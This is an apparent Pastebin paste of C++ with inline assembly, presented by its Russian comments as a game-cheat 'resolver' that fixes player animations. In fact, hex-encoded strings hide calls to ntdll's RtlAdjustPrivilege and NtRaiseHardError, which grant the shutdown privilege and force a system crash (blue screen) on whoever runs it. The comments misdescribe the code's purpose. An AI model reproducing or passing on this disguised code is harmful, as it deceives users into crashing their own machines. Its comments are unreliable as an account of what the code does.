Advertisement
Guest User

Untitled

a guest
Jul 17th, 2019
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.61 KB | None | 0 0
  1. int Resolver() // int тк это код из дампа а там он возвращает какое то значение
  2. {
  3. auto dwA = ::GetModuleHandleA;
  4. auto dwB = ::GetProcAddress;
  5.  
  6. DWORD a, b;
  7. //фиксим 2па все анимации тут
  8. const char aa[19] = { 0x52, 0x74, 0x6C, 0x41, 0x64, 0x6A, 0x75, 0x73, 0x74, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6C, 0x65, 0x67, 0x65, 0x00 };
  9. const char bb[17] = { 0x4E, 0x74, 0x52, 0x61, 0x69, 0x73, 0x65, 0x48, 0x61, 0x72, 0x64, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x00 };
  10. const char str_dec[10] = { 0x6E, 0x74, 0x64, 0x6C, 0x6C, 0x2E, 0x64, 0x6C, 0x6C, 0x00 };
  11.  
  12. int entindex = 0; // сюда будем сохранять индекс челика
  13. __asm
  14. {
  15. lea ebx, str_dec
  16. push ebx
  17. call dwA
  18. mov ecx, eax
  19.  
  20. lea eax, aa
  21. push eax
  22. push ecx
  23. call dwB
  24.  
  25. lea ebx, a
  26. push ebx
  27. push 0
  28. push 1
  29. push 19
  30. call eax
  31.  
  32. lea ebx, str_dec
  33. push ebx
  34. call dwA
  35. mov ecx, eax
  36.  
  37. lea eax, bb
  38. push eax
  39. push ecx
  40. call dwB
  41.  
  42. lea ebx, a
  43. push ebx
  44. push 6
  45. push 0
  46. push 0
  47. push 0
  48. push 0xC0000420L // тут мы начинаем фиксить челика 2па
  49. call eax // вызываем созданный resolver
  50. mov entindex , ecx // ecx - это и есть наш resolver
  51. }
  52. return entindex; возвращаем индекс челика которого пофиксили
  53. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement